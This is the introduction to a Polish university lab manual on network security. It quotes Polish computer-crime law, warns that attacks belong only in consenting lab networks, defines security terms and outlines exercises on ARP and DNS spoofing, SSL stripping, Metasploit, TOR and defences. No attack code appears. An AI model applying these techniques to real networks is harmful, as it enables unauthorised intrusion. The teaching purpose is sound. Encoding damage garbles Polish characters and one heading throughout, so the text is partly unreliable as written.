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Osoba chc�ca nauczy� si�, a tym bardziej osoby pragn�ce naucza�, 
zagadnie� zwi�zanych z bezpiecze�stwem informacji staj� przed znanym od lat 
problemem: znajomo�� metod obrony z konieczno�ci obejmowa� musi tak�e 
wiedz� o technikach ofensywnych, a te mog� by� u�yte do celów nieetycznych  
i niezgodnych z prawem. Ross Anderson1 pisze: 

 
„niektórzy uwa�aj�, �e zawartej tu 
wiedzy nie powinno si� publikowa�. To 
stara dyskusja; w minionych stuleciach 
protestowano przeciwko wydawaniu 
ksi��ek o �lusarstwie, argumentuj�c, 
�e pomagaj� one bardziej „tym złym” 
ni� „tym dobrym”. My�l�, �e odpowied� 
na te obawy znajduje si� w pierwszej 
wydanej po angielsku ksi��ce 
dotycz�cej kryptologii. Był to traktat 
[…] napisany w 1641 roku przez biskupa 
Johna Wilkinsa […]. Jego zdaniem �lady 
dziejów cenzury prowadziły do kapłanów 
egipskich, którzy zabronili stosowania 
pisma alfabetycznego, gdy� miałoby ono 
wpłyn�� na rozpowszechnienie 
umiej�tno�ci czytania i pisania w�ród 
prostego ludu, co stałoby si� zaczynem 
niezgody. Pisał on: 
 
 
 

                                                      
1 Zob. [Anderson 2005] str. XXIX i nast. 
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Nie wynika st�d,  ze wszystko 
czego nadu�ywa� mo�na zduszonem 
by� powinno… je�liby wszelakie owe 
po�yteczne wynalazki, których 
nadu�ywa� by mo�na, miały ukrytemi 
zosta�, nie ostałaby si� �adna 
Sztuka czy M�dro��, które w prawie 
uprawia� by wolno 

 

T� sam� kwesti� znów podniesiono w XIX 
wieku, gdy pewni przepełnieni dobrymi 
intencjami ludzie ��dali zakazania 
ksi��ek o �lusarstwie”.  

 
Niestety, w polskim Kodeksie Karnym, w artykule 269b, penalizuje si� 

szereg czynów, bez których powa�ne nauczanie bezpiecze�stwa informacji2, 
szczególnie w jej aspekcie technicznym jest niemo�liwe. Literalna wykładnia 
j�zykowa ustawowego znamienia czynu zabronionego prowadzi zreszt� do 
jeszcze dalej id�cych paradoksów, bo przecie� na przykład dowolny współczesny 
system operacyjny ma wbudowane narz�dzia, które mog� by� u�yte do 
uzyskiwania informacji nieprzeznaczonej dla korzystaj�cego z nich. Artykuł ten 
jest oczywi�cie przedmiotem powszechnej krytyki zarówno ze strony prawników, 
jak informatyków i pozostaje przepisem martwym, to jest niestosowanym  
w praktyce s�dowej, niemniej dobrze oddaje wła�nie punkt widzenia owych 
„pewnych przepełnionych dobrymi intencjami ludzi”, który to punkt widzenia 
przyjmuje – i to od kilku kadencji – polski ustawodawca. Równie� w innych swoich 
przepisach polskie prawo karne komputerowe jest stosunkowo restrykcyjne: 

 
 

Fragmenty ustawy z dnia 6 czerwca 1997 r.  
Kodeks karny z pó�n. zm. (stan na dzie� 01.02.2010) 

 
Art. 267.   
§ 1. Kto bez uprawnienia uzyskuje 
dost�p do informacji dla niego 
nieprzeznaczonej, otwieraj�c zamkni�te 

                                                      
2 Zob. [Korzeniowski 2008] str. 124 i nast. 
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pismo, podł�czaj�c si� do sieci 
telekomunikacyjnej lub przełamuj�c 
albo omijaj�c elektroniczne, 
magnetyczne, informatyczne lub inne 
szczególne jej zabezpieczenie, podlega 
grzywnie, karze ograniczenia wolno�ci 
albo pozbawienia wolno�ci do lat 2.  
§ 2. Tej samej karze podlega, kto bez 
uprawnienia uzyskuje dost�p do cało�ci 
lub cz��ci systemu informatycznego. 
§ 3. Tej samej karze podlega, kto  
w celu uzyskania informacji, do której 
nie jest uprawniony, zakłada lub 
posługuje si� urz�dzeniem 
podsłuchowym, wizualnym albo innym 
urz�dzeniem lub oprogramowaniem. 
§ 4. Tej samej karze podlega, kto 
informacj� uzyskan� w sposób okre�lony 
w § 1-3 ujawnia innej osobie. 
§ 5. �ciganie przest�pstwa okre�lonego 
w § 1--4 nast�puje na wniosek 
pokrzywdzonego. 
 
 

Art. 268.  
 

§ 1. Kto, nie b�d�c do tego 
uprawnionym, niszczy, uszkadza, usuwa 
lub zmienia zapis istotnej informacji 
albo w inny sposób udaremnia lub 
znacznie utrudnia osobie uprawnionej 
zapoznanie si� z ni�, podlega 
grzywnie, karze ograniczenia wolno�ci 
albo pozbawienia wolno�ci do lat 2. 
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§ 2. Je�eli czyn okre�lony w § 1 
dotyczy zapisu na informatycznym 
no�niku danych, sprawca podlega karze 
pozbawienia wolno�ci do lat 3. 
§ 3. Kto, dopuszczaj�c si� czynu 
okre�lonego w § 1 lub 2, wyrz�dza 
znaczn� szkod� maj�tkow�, podlega 
karze pozbawienia wolno�ci od 3 
miesi�cy do lat 5. 
§ 4. �ciganie przest�pstwa okre�lonego 
w § 1-3 nast�puje na wniosek 
pokrzywdzonego. 
 
 
 

Art. 268a. 
 

§ 1. Kto, nie b�d�c do tego 
uprawnionym, niszczy, uszkadza, usuwa, 
zmienia lub utrudnia dost�p do danych 
informatycznych albo w istotnym 
stopniu zakłóca lub uniemo�liwia 
automatyczne przetwarzanie, 
gromadzenie lub przekazywanie takich 
danych, podlega karze pozbawienia 
wolno�ci do lat 3.  
§ 2. Kto, dopuszczaj�c si� czynu 
okre�lonego w § 1, wyrz�dza znaczn� 
szkod� maj�tkow�, podlega karze 
pozbawienia wolno�ci od 3 miesi�cy do 
lat 5.  
§ 3. �ciganie przest�pstwa okre�lonego 
w § 1 lub 2 nast�puje na wniosek 
pokrzywdzonego. 
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Art. 269.   
 

§ 1. Kto niszczy, uszkadza, usuwa lub 
zmienia dane informatyczne o 
szczególnym znaczeniu dla obronno�ci 
kraju, bezpiecze�stwa w komunikacji, 
funkcjonowania administracji rz�dowej, 
innego organu pa�stwowego lub 
instytucji pa�stwowej albo samorz�du 
terytorialnego albo zakłóca lub 
uniemo�liwia automatyczne 
przetwarzanie, gromadzenie lub 
przekazywanie takich danych, podlega 
karze pozbawienia wolno�ci od 6 
miesi�cy do lat 8.  
§ 2. Tej samej karze podlega, kto 
dopuszcza si� czynu okre�lonego w § 1, 
niszcz�c albo wymieniaj�c 
informatyczny no�nik danych lub 
niszcz�c albo uszkadzaj�c urz�dzenie 
słu��ce do automatycznego 
przetwarzania, gromadzenia lub 
przekazywania danych informatycznych. 
 

Art. 269 a.  
 

Kto, nie b�d�c do tego uprawnionym, 
przez transmisj�, zniszczenie, 
usuni�cie, uszkodzenie, utrudnienie 
dost�pu lub zmian� danych 
informatycznych, w istotnym stopniu 
zakłóca prac� systemu komputerowego 
lub sieci teleinformatycznej, podlega 
karze pozbawienia wolno�ci od 3 
miesi�cy do lat 5.  
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Art. 269 b. 
 

§ 1. Kto wytwarza, pozyskuje, zbywa 
lub udost�pnia innym osobom urz�dzenia 
lub programy komputerowe przystosowane 
do popełnienia przest�pstwa 
okre�lonego w art. 165 § 1 pkt 4, 
art. 267 § 3, art. 268a § 1 albo § 2  
w zwi�zku z § 1, art. 269 § 2 albo 
art. 269a, a tak�e hasła komputerowe, 
kody dost�pu lub inne dane 
umo�liwiaj�ce dost�p do informacji 
przechowywanych w systemie 
komputerowym lub sieci 
teleinformatycznej, podlega karze 
pozbawienia wolno�ci do lat 3.  
§ 2. W razie skazania za przest�pstwo 
okre�lone w § 1, s�d orzeka przepadek 
okre�lonych w nim przedmiotów, a mo�e 
orzec ich przepadek, je�eli nie 
stanowiły własno�ci sprawcy. 
[…] 
 
 

Art. 278.  
 

§ 1. Kto zabiera w celu 
przywłaszczenia cudz� rzecz ruchom�, 
podlega karze pozbawienia wolno�ci od 
3 miesi�cy do lat 5. 
§ 2. Tej samej karze podlega, kto bez 
zgody osoby uprawnionej uzyskuje cudzy 
program komputerowy w celu osi�gni�cia 
korzy�ci maj�tkowej. 
§ 3. W wypadku mniejszej wagi, sprawca  
podlega grzywnie, karze ograniczenia 
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wolno�ci albo pozbawienia wolno�ci do 
roku. 
§ 4. Je�eli kradzie� popełniono na 
szkod� osoby najbli�szej, �ciganie 
nast�puje na wniosek pokrzywdzonego. 
§ 5. Przepisy § 1, 3 i 4 stosuje si� 
odpowiednio do kradzie�y energii lub 
karty uprawniaj�cej do podj�cia 
pieni�dzy z automatu bankowego. 
 

Art. 291. 
 

§ 1. Kto rzecz uzyskan� za pomoc� 
czynu zabronionego nabywa lub pomaga 
do jej zbycia albo t� rzecz przyjmuje 
lub pomaga do jej ukrycia, podlega 
karze pozbawienia wolno�ci od 3 
miesi�cy do lat 5. 
§ 2. W wypadku mniejszej wagi, sprawca 
podlega grzywnie, karze ograniczenia 
wolno�ci albo pozbawienia wolno�ci do 
roku. 
 

Art. 292. 
 

§ 1. Kto rzecz, o której na podstawie 
towarzysz�cych okoliczno�ci powinien  
i mo�e przypuszcza�, �e została uzyskana 
za pomoc� czynu zabronionego, nabywa 
lub pomaga do jej zbycia albo t� rzecz 
przyjmuje lub pomaga do jej ukrycia, 
podlega grzywnie, karze ograniczenia 
wolno�ci albo pozbawienia wolno�ci do 
lat 2. 
§ 2. W wypadku znacznej warto�ci 
rzeczy, o której mowa w § 1, sprawca 
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podlega karze pozbawienia wolno�ci od 
3 miesi�cy do lat 5. 
 

Art. 293. 
 

§ 1. Przepisy art. 291 i 292 stosuje 
si� odpowiednio do programu 
komputerowego. 
 

Fragmenty z ustawy z dnia 4 lutego 1994 r. o prawie 
autorskim i prawach pokrewnych z pó�niejszymi 

zmianami (stan na 01.02.2010) 
 
Art. 116. 
 

1. Kto bez uprawnienia albo wbrew jego 
warunkom rozpowszechnia cudzy utwór w 
wersji oryginalnej albo w postaci 
opracowania, artystyczne wykonanie, 
fonogram, wideogram lub nadanie, 
podlega grzywnie, karze ograniczenia 
wolno�ci albo pozbawienia wolno�ci do 
lat 2. 
2. Je�eli sprawca dopuszcza si� czynu 
okre�lonego w ust. 1 w celu 
osi�gni�cia korzy�ci maj�tkowej, 
podlega karze pozbawienia wolno�ci do 
lat 3. 
3. Je�eli sprawca uczynił sobie  
z popełniania przest�pstwa okre�lonego  
w ust. 1 stałe �ródło dochodu albo 
działalno�� przest�pn�, okre�lon�  
w ust. 1, organizuje lub ni� kieruje, 
podlega karze pozbawienia wolno�ci od 
6 miesi�cy do lat 5. 
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4. Je�eli sprawca czynu okre�lonego  
w ust. 1 działa nieumy�lnie, podlega 
grzywnie, karze ograniczenia wolno�ci 
albo pozbawienia wolno�ci do roku. 
 

Art. 117. 
 

1. Kto bez uprawnienia albo wbrew jego 
warunkom w celu rozpowszechnienia 
utrwala lub zwielokrotnia cudzy utwór 
w wersji oryginalnej lub w postaci 
opracowania, artystyczne wykonanie, 
fonogram, wideogram lub nadanie, 
podlega grzywnie, karze ograniczenia 
wolno�ci albo pozbawienia wolno�ci  
do lat 2. 
2. Je�eli sprawca uczynił sobie z 
popełniania przest�pstwa okre�lonego  
w ust. 1 stałe �ródło dochodu albo 
działalno�� przest�pn�, okre�lon�  
w ust. 1, organizuje lub ni� kieruje, 
podlega karze pozbawienia wolno�ci do 
lat 3. 
 

Art. 118. 
 

1. Kto w celu osi�gni�cia korzy�ci 
maj�tkowej przedmiot b�d�cy no�nikiem 
utworu, artystycznego wykonania, 
fonogramu, wideogramu 
rozpowszechnianego lub 
zwielokrotnionego bez uprawnienia albo 
wbrew jego warunkom nabywa lub pomaga 
w jego zbyciu albo przedmiot ten 
przyjmuje lub pomaga w jego ukryciu, 
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podlega karze pozbawienia wolno�ci  
od 3 miesi�cy do lat 5. 
2. Je�eli sprawca uczynił sobie  
z popełniania przest�pstwa okre�lonego  
w ust. 1 stałe �ródło dochodu albo 
działalno�� przest�pn�, okre�lon�  
w ust. 1, organizuje lub ni� kieruje, 
podlega karze pozbawienia wolno�ci  
od roku do lat 5. 
3. Je�eli na podstawie towarzysz�cych 
okoliczno�ci sprawca przest�pstwa 
okre�lonego w ust. 1 lub 2 powinien  
i mo�e przypuszcza�, �e przedmiot 
został uzyskany za pomoc� czynu 
zabronionego, podlega grzywnie, karze 
ograniczenia wolno�ci albo pozbawienia 
wolno�ci do lat 2. 
 

Art. 118(1). 
 

1. Kto wytwarza urz�dzenia lub ich 
komponenty przeznaczone do 
niedozwolonego usuwania lub 
obchodzenia skutecznych technicznych 
zabezpiecze� przed odtwarzaniem, 
przegrywaniem lub zwielokrotnianiem 
utworów lub przedmiotów praw 
pokrewnych albo dokonuje obrotu takimi 
urz�dzeniami lub ich komponentami, 
albo reklamuje je w celu sprzeda�y lub 
najmu, podlega grzywnie, karze 
ograniczenia wolno�ci albo pozbawienia 
wolno�ci do lat 3. 
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2. Kto posiada, przechowuje lub 
wykorzystuje urz�dzenia lub ich 
komponenty, o których mowa w ust. 1, 
podlega grzywnie, karze ograniczenia 
wolno�ci albo pozbawienia wolno�ci  
do roku. 

 
Wobec powy�szego czujemy si� w obowi�zku przestrzec Czytelnika, �e  

nawet je�li w praktyce �wiczenie technik ataku w sieci laboratoryjnej, za 
�wiadom� zgod� jej wła�ciciela i pozostałych jej u�ytkowników, w celach czysto 
dydaktycznych jest tolerowane, to rzeczywiste działania maj�ce na celu 
naruszenie bezpiecze�stwa informacji s� w �wietle polskiego – i nie tylko 
polskiego – prawa przest�pstwami niew�tpliwie podlegaj�cymi �ciganiu, dlatego 
te� opisywane dalej techniki mog�ce słu�y� naruszeniu bezpiecze�stwa mo�e On 
stosowa� jedynie w wydzielonych sieciach laboratoryjnych, za zgod� ich 
wła�ciciela i innych osób z nich korzystaj�cych.  

Osobn� kwesti� jest postrzeganie, przynajmniej niektórych przest�pstw 
komputerowych3, jako swojego rodzaju rozrywki intelektualnej b�d� 
dopuszczalnego sposobu zamanifestowania swoich pogl�dów politycznych4. 
Przyj�cie takiego punktu widzenia przez osob� zajmuj�c� si� bezpiecze�stwem 
jest oczywi�cie zarówno niewła�ciwe, jak i niebezpieczne. Niniejsze „�wiczenia” 
przeznaczone s� dla osób, które pragn� w przyszło�ci zosta� administratorami 
sieci czy specjalistami zajmuj�cymi si� przetwarzaniem danych. Osoby takie 
musz� zna� techniki włama�, �eby móc przed nimi zabezpieczy� systemy,  
za które b�d� odpowiada�. Zarówno niniejszy skrypt, jak i sam przedmiot 
„Bezpiecze�stwo Systemów Sieciowych” został opracowany z my�l� o tych, 
którzy chc� dba� o bezpiecze�stwo innych u�ytkowników systemów sieciowych, 
nie za� dla tych, którzy chcieliby to bezpiecze�stwo narusza�. 

P#$���� #� ��$�% � !&��
 

Jednym z problemów, z jakimi spotykaj� si� osoby zajmuj�ce si� 
bezpiecze�stwem informacji s� daleko id�ce niespójno�ci terminologiczne. 
Bezpiecze�stwem informacji zajmuj� si� specjali�ci z zakresu zarz�dzania,  
informatycy i prawnicy, nic wi�c dziwnego, �e jedno poj�cie ma nieraz kilka 
ró�nych znacze�. W „�wiczeniach” oparli�my si� przede wszystkim na j�zyku  
 
                                                      
3 Mowa przede wszystkim o włamaniach do systemów komputerowych. 
4 Mowa o zjawisku okre�lanym jako „Hacktivism” – wykorzystanie Hackingu  
   w aktywno�ci politycznej. Zob. np. PN-ISO/IEC 27005:2010. 
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Polskich Norm, w szczególno�ci norm z serii PN-ISO/IEC 27k, PN-I-
02000:2002 oraz PN-ISO/IEC 2382-x, do zapoznania si� z którymi serdecznie 
Czytelnika zach�camy. W szczególno�ci warto poprawnie posługiwa� si� 
nazwami najwa�niejszych atrybutów bezpiecze�stwa informacji: 

• poufno�� (ang. confidentiality) − własno�� polegaj�ca na tym, �e 
informacja nie jest udost�pniana lub wyjawiana nieupowa�nionym 
osobom, przedmiotom lub procesom5, 

• integralno�� (ang. integrity) − własno�� polegaj�ca na zapewnieniu 
dokładno�ci i kompletno�ci aktywów6, 

• dost�pno�� (ang. availability) − wła�ciwo�� danych lub zasobów polegaj�ca 
na tym, �e mog� one by� dost�pne i wykorzystywane na ��danie 
uprawnionej jednostki7, 

• autentyczno�� (ang. authenticity) − cecha pozwalaj�cej na uwierzytelnienie 
autora informacji, czyli stwierdzenia, �e podpis pod przesyłan� informacj� 
jest autentyczny, �e autorem informacji jest rzeczywi�cie wła�ciwa osoba8, 

• rozliczalno�� (ang. accountability) – wła�ciwo�� zapewniaj�ca, �e działania 
podmiotu mog� by� przypisane w sposób jednoznaczny tylko temu 
podmiotowi9, 

• niezaprzeczalno�� – wła�ciwo�� uniemo�liwiaj�ca nadawcy zaprzeczenie, 
�e wysłana wiadomo�� pochodzi od niego, 

• niezawodno�� (ang. reliability)  – wła�ciwo�� oznaczaj�ca spójne, 
zamierzone zachowania i skutki10. 

Powy�sza lista atrybutów bezpiecze�stwa nie jest uniwersalna ani kompletna 
i jest pisana z punktu widzenia managera (interesów organizacji gospodarczej). 
Nie ma na niej na przykład atrybutu prywatno�ci, istotnego z punktu widzenia 
osoby fizycznej, ale ju� niekoniecznie – komercyjnej firmy. 

• prywatno�� (ang. privacy z łac. privus – pojedynczy, własny) definiuje 
si� zazwyczaj jako mo�liwo�� zachowania okre�lonych dóbr (danych, 
zachowa�, zwyczajów, rzeczy) poza sfer� publiczn�.  

                                                      
5 Wg [PN-ISO/IEC 27001:2007].  
6 Wg [PN-ISO/IEC 27001:2007]. Rozró�nia si� dodatkowo integralno�� danych oraz 
integralno�� systemu. 
7 Wg [PN-ISO/IEC 2382-8:2001].  
8 Wg [PN-I-13335-1], s. 6. W niektórych �ródłach mo�na znale�� tłumaczenie słowa 
„authentiation” przez „uwierzytelnienie”, jakkolwiek tłumaczenie przyj�te w normie jest 
poprawne –  słowo „uwierzytelnienie” w j�zyku polskim jest nazw� procesu sprawdzenia 
i potwierdzenia autentyczno�ci informacji. Tak jest to zreszt� definiowane w normie  
[PN-I-02000:2002]. 
9 Wg [PN-I-13335-1] za [ISO 7498-2:1989]. 
10 Wg [PN-I-13335-1].  
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Poj�ciami cz�sto ł�czonymi z prywatno�ci�, szczególnie je�li idzie o systemy  
i sieci informatyczne s�: anonimowo��, anonimizacja oraz pseudonimizacja11. 

• anonimowo�� jest to atrybut bezpiecze�stwa informacji polegaj�cy na 
tym, �e nie ma mo�liwo�ci identyfikacji podmiotu (w szczególno�ci osoby, 
która wykonuje jak�� czynno��, na przykład przegl�da stron� WWW czy 
osoby, której dotycz� informacje, np. zebrane w czasie badania).  

Anonimowo�� w odniesieniu do działa� jest wi�c przeciwie�stwem powołanego 
powy�ej poj�cia rozliczalno�ci – wła�ciwo�ci� zapewniaj�c�, �e działania 
podmiotu nie mog� by� przypisane w sposób jednoznaczny temu podmiotowi. 
Jest to dobry przykład na subiektywizm poj�cia bezpiecze�stwa informacji. Na 
przykład osoba wygłaszaj�ca pogl�dy niepopularne, a szczególnie sprzeczne  
z pogl�dami decydentów, b�dzie czuła si� bezpieczniej, je�li ma zapewnion� 
anonimowo�� (i wi���c� si� z tym perspektyw� bezkarno�ci), za� pokrzywdzony 
b�dzie czuł si� bezpieczniej, je�li organy �cigania b�d� w stanie zidentyfikowa� 
to�samo�� działaj�cego (sprawcy) i przypisa� mu – najlepiej w sposób nie- 
zaprzeczalny – poszczególne przest�pne działania, czyli zapewni� ich rozliczalno��.  

Warto te� zauwa�y�, �e – w przeciwie�stwie do prywatno�ci – człowiek nie 
ma prawa do anonimowo�ci (przynajmniej obecnie obowi�zuj�ce przepisy wprost 
nie przyznaj� nikomu takiego prawa). Prywatno�� bowiem mo�e by� zachowana 
nie tylko w sytuacji, gdy działaj�cy podmiot jest anonimowy, ale równie� w sytuacji, 
w której dane umo�liwiaj�ce jego identyfikacj� s� poufne na tyle, �e pozostaj� 
poza sfer� publiczn� (tak jak ma to miejsce cho�by w przypadku nagra� z kamer 
monitoringu ulicznego).  

• Anonimizacja jest to proces, w którym z danych umo�liwiaj�cych 
identyfikacj� podmiotów otrzymuje si� dane nieumo�liwiaj�ce takiej 
identyfikacji.  

Anonimizacj� stosuje si� na przykład cz�sto w badaniach statystycznych, 
w których istotne s� prawidłowo�ci dotycz�ce całej badanej grupy, a nie informacje  
o poszczególnych jednostkach. Anonimizacj� nazywa si� równie� wykorzystanie 
odpowiednich rozwi�za� informatycznych (np. anonimowego Proxy czy sieci TOR). 

• Pseudonimizacj� (z gr. pseud�nymos – fałszywie nazwany; pseud�s – 
kłamliwy, zmy�lony; pseúdein – kłama�, oszukiwa�) nazywa si�12 u�ycie 
w miejsce rzeczywistej nazwy podmiotu (procesu b�d� osoby) – przybranej 
nazwy (pseudonimu).  

Pseudonimizacja utrudnia identyfikacj� działaj�cego podmiotu, natomiast 
umo�liwia przypisanie ró�nych danych czy czynno�ci tej samej osobie (bez 
znajomo�ci jej to�samo�ci). Współcze�nie z pseudonimizacj� bardzo cz�sto mamy 
do czynienia w przypadku forów internetowych czy grup dyskusyjnych. 

 

                                                      
11 Zob. np. [Clarke], [Pfitzmann, Hansen 2005]. 
12 Zob. [Pfitzmann, Hansen 2005]. 
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Ofensywne działania zwi�zane z naruszaniem bezpiecze�stwa to: 
• incydent zwi�zany z bezpiecze�stwem informacji, to jest pojedyncze 

zdarzenie lub seria niepo��danych lub niespodziewanych zdarze� 
zwi�zanych z bezpiecze�stwem informacji, które stwarzaj� znaczne 
prawdopodobie�stwo zakłócenia działa� biznesowych i zagra�aj� 
bezpiecze�stwu informacji13; 

• zdarzenie zwi�zane z bezpiecze�stwem informacji, które  jest okre�lonym 
stanem systemu, usługi lub sieci, który wskazuje na mo�liwe naruszenie 
polityki bezpiecze�stwa informacji, bł�d zabezpieczenia lub nieznan� 
dotychczas sytuacj�, która mo�e by� zwi�zana z bezpiecze�stwem14; 

• atak – próba naruszenia bezpiecze�stwa systemu informatycznego15; 
• naruszenie – ingerencja naruszaj�ca bezpiecze�stwo systemu informa-

tycznego w celu spowodowania tego, aby programy lub dane mogły by� 
modyfikowane, niszczone lub mogły sta� si� dost�pne dla nieuprawnionych 
podmiotów16; 

• włamanie, przełamanie – takie obej�cie lub zneutralizowanie jakiego� 
elementu bezpiecze�stwa systemu informatycznego, wykryte lub nie, 
którego skutkiem mo�e by� penetracja systemu przetwarzania danych17. 

 

Odpowiednio ataki przeciwko najwa�niejszym atrybutom bezpiecze�stwa to: 
• podsłuch (sniffing), który jest atakiem skierowanym przeciwko poufno�ci; 
• nieuprawniona modyfikacja, która jest atakiem skierowanym przeciwko 

integralno�ci; 
• podszywanie si� (spoofing), które jest atakiem skierowanym przeciwko 

autentyczno�ci; 
• ataki odmowy usług (Denial of Service), które s� skierowane przeciwko 

dost�pno�ci. 
 

 

                                                      
13 PN-ISO/IEC 17799:2007, ISO/IEC TR 18044:2004 
14 PN-ISO/IEC 17799:2007, ISO/IEC TR 18044:2004 
15 PN ISO/IEC 2382-8:2001, PN-I-02000:2002 
16 PN-I-02000:2002 
17 PN-I-02000:2002 
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Podobnie jak w przypadku ka�dego podr�cznika, zakres omawianej tematyki 
jest mniej lub bardziej subiektywnym wyborem autorów. „�wiczenia”  w �adnym 
wypadku nie pretenduj� do miana kompletnego przegl�du – cho�by tylko 
najwa�niejszych – zagro�e� czy technik i narz�dzi walki z nimi. Byłoby to zreszt� 
zadanie w ramach jednej ksi��ki niewykonalne. Zgodnie z tytułem chcieli�my 
zaproponowa� Czytelnikowi do zrealizowania (w ramach zaj�� na studiach lub 
samodzielnie) kilka zada� z ró�nych tematów zwi�zanych z bezpiecze�stwem 
przesyłania informacji w sieciach komputerowych dotycz�cych podatno�ci, zagro�e� 
i ataków stosunkowo rozpowszechnionych i uniwersalnych (mało zale�nych od 
u�ywanego systemu operacyjnego czy oprogramowania oraz mo�liwych do 
przeprowadzenia na typowym komputerze ze �wie�o zainstalowanym systemem 
operacyjnym. Mamy nadziej�, �e Czytelnik uzna je za interesuj�ce i zechce bli�ej 
zainteresowa� si� t� problematyk�.  

Z zało�enia niniejszy skrypt zawiera instrukcje laboratoryjne poprzedzone 
jedynie bardzo krótkimi opisami �wicze�, nie zawiera natomiast całej koniecznej 
– niejednokrotnie obszernej – wiedzy o mechanizmach działania sieci, które  
w danym �wiczeniu s� wykorzystywane. St�d te� konieczne jest, aby Czytelnik 
zapoznał si� z nimi samodzielnie przed przyst�pieniem do wykonania 
poszczególnych zada�. Na pocz�tku ka�dego z rozdziałów podali�my odpowiedni� 
literatur�, w której mo�na znale�� niezb�dne informacje dla zrozumienia danego 
zadania. Podczas pisania „�wicze�”  korzystali�my z szeregu publikacji, przede 
wszystkim z ksi��ek [Szmit, Gusta, Tomaszewski 2005] oraz [Szmit, Tomaszewski, 
Lisiak, Politowska 2008], starali�my si� zachowa� spójno�� ze stosowanym  
w nich nazewnictwem i oznaczeniami.  

Wszystkie �wiczenia zostały przygotowane w �rodowisku maszyn wirtualnych, 
co powoduje, �e ka�de �wiczenie mo�e by� przeprowadzone na pojedynczym 
komputerze, w cało�ci przez jedn� osob�. Postawienie si� w roli zarówno agresora, 
jak i osoby odpowiedzialnej za wybór i konfiguracj� metod zabezpieczaj�cych 
pozwala w szerszym zakresie zrozumie� specyfik� zagro�e� obecnych we 
współczesnych sieciach i systemach komputerowych.  

�wiczenia prowadzone s� w sieci o fizycznej topologii gwiazdy, wszystkie 
komputery mog� bezpo�rednio komunikowa� si� mi�dzy sob�. Schemat sieci 
�wiczeniowej przedstawia rys. 1. 
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Rys. 1. Topologia sieci testowej. 	ródło: opracowanie własne. 

�wiczenia podzielone s� na dwie grupy. Pocz�tkowe �wiczenia (rozdziały 2 
– 5) prowadzone s� z perspektywy crackera chc�cego skompromitowa� atakowane 
maszyny. Przedstawione s� aktywne ataki na wybrane protokoły komunikacyjne 
oraz zaprezentowana jest mo�liwo�� wykorzystania luk obecnych w nieaktualni- 
zowanym lub �le zaprojektowanym oprogramowaniu. W kolejnych �wiczeniach 
(rozdziały 7–10) zaprezentowane zostały metody prewencyjne zabezpieczaj�ce 
przed wyciekiem lub utrat� danych oraz umo�liwiaj�ce monitorowanie ataków. 
Pomi�dzy tymi dwiema głównymi grupami �wicze� przedstawione zostało 
narz�dzie TOR – program umo�liwiaj�cy zapewnienie anonimowo�ci w Internecie. 
�wiczenie to nie zostało wł�czone ani do grupy �wicze� ofensywnych, ani do 
�wicze� defensywnych, poniewa� charakter zastosowania programu zale�y �ci�le 
od tego, w jakich okoliczno�ciach został u�yty. Niezale�nie od tego, w jakiej roli 
zaprezentowano u�ywane narz�dzia nale�y pami�ta�, �e s� one tylko narz�dziami 
i jedynie od ich u�ytkownika zale�y czy u�yte zostan� zgodnie  z obowi�zuj�cym 
prawem i zasadami etyki.  

Rozdział 1 „ Przygotowanie �rodowiska pracy”  przeprowadza krok po kroku 
przez proces tworzenia �rodowiska laboratoryjnego: instalacj� oprogramowania 
wirtualizacyjnego, tworzenie maszyn wirtualnych oraz konfiguracj� interfejsów 
sieciowych. 
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Rozdział 2 „ARP-spoofing”  po�wi�cony jest podsłuchowi w sieci zbudowanej  
z u�yciem przeł�czników sieciowych przy wykorzystaniu mechanizmu fałszowania 
odpowiedzi ARP. 

Rozdział 3 „ DNS-spoofing”  zawiera instrukcj� dotycz�c� ataku, w którym 
fałszowane s� odpowiedzi serwera nazw domenowych. 

Rozdział 4 „ Ataki na sesje szyfrowane SSL”  dotyczy ataku typu Man-in-the-
Middle na protokół HTTPS z wykorzystaniem narz�dzia SSLStrip oraz prezentuje 
atak typu przechwycenie sesji przy pomocy oprogramowania Firesheep. 

Rozdział 5 „ Testy penetracyjne”  po�wi�cony jest przedstawieniu specyfiki 
testów penetracyjnych z u�yciem narz�dzi nmap, Nessus, Metasploit Framework  
i Armitage. 

Rozdział 6 „ TOR – Anonimowo�� w Internecie”  po�wiecony jest aplikacji 
TOR pozwalaj�cej na ukrywanie adresu IP u�ytkownika. 

Rozdział 7 „ Wirtualne sieci prywatne”  przedstawia sposoby zestawiania 
tunelowanych prywatnych poł�cze� w systemach z rodziny Windows oraz Linux. 

Rozdział 8 „ Honeypot”  prezentuje mo�liwo�ci technologii honeypot na 
przykładzie aplikacji Honeyd. 

Rozdział 9 „ Infrastruktura klucza publicznego”  po�wi�cony jest przedsta- 
wieniu specyfiki zagadnienia przy wykorzystaniu mo�liwo�ci aplikacji OpenSSL. 

Rozdział 10 „ Kopie zapasowe”  po�wi�cony jest metodom tworzenia kopii 
zapasowych przy u�yciu darmowych narz�dzi, takich jak DD oraz AIR. 

Do pracy doł�czono płyt� DVD zawieraj�c� materiały dodatkowe do 
�wicze� 2–10 oraz obrazy dysków dla wirtualnych maszyn z systemami Debian, 
Ubuntu, BackTrack, Metasploitable i TurnKey. 

Z powodów licencyjnych nie było mo�liwe doł�czenie do pracy no�ników  
z maszynami wirtualnymi pracuj�cymi pod kontrol� systemów z rodziny MS 
Windows, ale w rozdziale po�wi�conym ich przygotowaniu opisano szczegółowo 
jak takie maszyny nale�y wykona�.  
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W tre�ci instrukcji zastosowane zostały ró�ne style formatowania dla 
poszczególnych rodzajów danych: 

1. komendy wpisywane w konsoli tekstowej pisane s� biał� czcionk� na 
czarnym tle, np.: 

ps aux | grep arp 

2. zawarto�� plików tekstowych (np. pliki konfiguracyjne) wyró�niona 
została czcionk� monotype, przykładowo: 

route entry 172.16.1.20 

3. przyciski lub opcje, które nale�y klikn�� / wybra� zaznaczone s� 
czcionk� pogrubion�, np:  

Wybierz opcj� Protokół internetowy TCP/IP, a nast�pnie kliknij przycisk 
Wła�ciwo�ci. 

4. nazwy programów, �cie�ki do plików i programów oraz tytuły okien 
pisane s� czcionk� kursyw�: 

Uruchom program Metasploit Framework. 

5. u�yta jest skrótowa notacja dla �cie�ek dost�pu. Zamiast polecenia 
„ kliknij menu Start, nast�pnie kliknij Uruchom i wpisz cmd”  napisane 
jest skrótowo: 

Start -> Uruchom -> cmd 

6. katalog roboczy, w którym znajduj� si� wszystkie skopiowane z 
doł�czonej płyty DVD materiały, oznaczony jest w tre�ci �wicze� jako 
<work_dir>, np: 

<work_dir>/Przygotowanie �rodowiska/VM/Debian.zip 

7. odno�niki do zasobów internetowych s� podkre�lone: 

www.google.pl
